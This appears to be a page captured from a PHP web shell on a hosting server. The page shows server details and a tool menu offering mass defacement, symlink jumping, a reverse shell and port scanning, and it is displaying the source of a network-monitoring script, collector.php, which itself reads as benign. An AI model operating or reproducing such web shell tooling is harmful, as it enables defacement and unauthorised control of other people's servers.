Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
red
/
tools
/
Viewing: collector.php
<?php declare(strict_types=1); define('BASE_PATH', dirname(__DIR__)); spl_autoload_register(static function (string $class): void { $prefixes = [ 'App\\Controllers\\' => BASE_PATH . '/app/controllers/', 'App\\Models\\' => BASE_PATH . '/app/models/', 'Core\\' => BASE_PATH . '/core/', ]; foreach ($prefixes as $prefix => $baseDir) { if (!str_starts_with($class, $prefix)) { continue; } $relative = substr($class, strlen($prefix)); $relative = str_replace('\\', '/', $relative); $file = $baseDir . $relative . '.php'; if (is_file($file)) { require $file; } return; } }); $config = require BASE_PATH . '/config/app.php'; $server = null; $token = null; $force = true; foreach (array_slice($argv, 1) as $arg) { if (str_starts_with($arg, '--server=')) { $server = substr($arg, strlen('--server=')); $server = trim((string) $server); continue; } if (str_starts_with($arg, '--token=')) { $token = substr($arg, strlen('--token=')); $token = trim((string) $token); continue; } if ($arg === '--no-force') { $force = false; continue; } if ($arg === '--help' || $arg === '-h') { echo "Usage:\n"; echo " php tools/collector.php --server=https://TU-DOMINIO.tld[/ruta]/public --token=SECRETO\n"; echo "\n"; exit(0); } } if ($server === null || $server === '') { $env = getenv('REDMONITOR_SERVER'); if (is_string($env) && trim($env) !== '') { $server = trim($env); } } if ($token === null || $token === '') { $env = getenv('REDMONITOR_COLLECTOR_TOKEN'); if (is_string($env) && trim($env) !== '') { $token = trim($env); } } if ($token === null || $token === '') { $token = (string) ($config['collector']['token'] ?? ''); $token = trim($token); } if ($server === null || $server === '') { fwrite(STDERR, "Missing --server\n"); exit(2); } if ($token === '') { fwrite(STDERR, "Missing --token (or REDMONITOR_COLLECTOR_TOKEN)\n"); exit(2); } $server = rtrim($server, '/'); $endpoint = $server . '/collector/devices'; $model = new App\Models\NetworkModel($config); [$devices, $meta] = $model->scanDevicesWithMeta($force); $meta = array_merge($meta, [ 'collector_host' => gethostname() ?: null, 'collector_os' => PHP_OS_FAMILY, ]); $payload = json_encode([ 'devices' => $devices, 'meta' => $meta, ], JSON_UNESCAPED_UNICODE); if (!is_string($payload)) { fwrite(STDERR, "Failed to encode payload\n"); exit(1); } $headers = [ 'Content-Type: application/json', 'Accept: application/json', 'X-Collector-Token: ' . $token, ]; $responseBody = ''; $httpCode = 0; if (function_exists('curl_init')) { $ch = curl_init($endpoint); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 20); $out = curl_exec($ch); if (is_string($out)) { $responseBody = $out; } $httpCode = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } else { $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => implode("\r\n", $headers), 'content' => $payload, 'timeout' => 20, ], ]); $out = @file_get_contents($endpoint, false, $context); if (is_string($out)) { $responseBody = $out; } if (isset($http_response_header) && is_array($http_response_header)) { foreach ($http_response_header as $line) { if (preg_match('/^HTTP\/[0-9.]+\s+(\d{3})\b/', (string) $line, $m)) { $httpCode = (int) $m[1]; break; } } } } echo "HTTP: {$httpCode}\n"; if ($responseBody !== '') { echo $responseBody . "\n"; } exit($httpCode >= 200 && $httpCode < 300 ? 0 : 1);
Coded With 💗 by
0x6ick